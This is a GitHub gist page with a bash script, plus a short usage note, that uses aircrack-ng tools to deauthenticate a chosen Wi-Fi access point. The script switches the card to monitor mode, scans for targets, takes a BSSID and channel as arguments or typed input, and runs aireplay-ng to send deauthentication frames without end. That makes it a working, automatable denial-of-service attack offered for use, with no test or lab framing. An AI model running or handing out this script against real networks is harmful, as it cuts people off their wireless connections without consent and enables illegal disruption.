Created
June 30, 2019 20:41
-
-
Save PintsizedSix40/b3fc4e5cc76c97dc76a3a210972bb5b4 to your computer and use it in GitHub Desktop.
Script to deauth APs with aircrack-ng (SENDS TO AP, NOT CLIENT!)
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function clean { | |
airmon-ng stop wlan0mon | |
ifconfig wlan0 down | |
ifconfig wlan0mon down | |
ifconfig wlan0 up | |
} | |
function getFromInput { | |
airodump-ng wlan0mon | |
echo Select the BSSID | |
read bssid | |
echo Select the channel | |
read channel | |
global_var_bssid=$bssid | |
global_var_channel=$channel | |
} | |
trap clean EXIT | |
ifconfig wlan0 down | |
ifconfig wlan0mon down | |
ifconfig wlan0 up | |
airmon-ng start wlan0 | |
if [ -z "$1" ]; then getFromInput; else if [ -z "$2" ]; then getFromInput; else global_var_bssid=$1; global_var_channel=$2; fi fi | |
iwconfig wlan0mon channel $global_var_channel | |
aireplay-ng -0 0 -a $global_var_bssid wlan0mon |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
The script accepts args in the form:
./deauth.sh BSSID Channel
So that it can be automated. Omitting an argument will cause it to scan for APs and let you manually input the BSSID and Channel.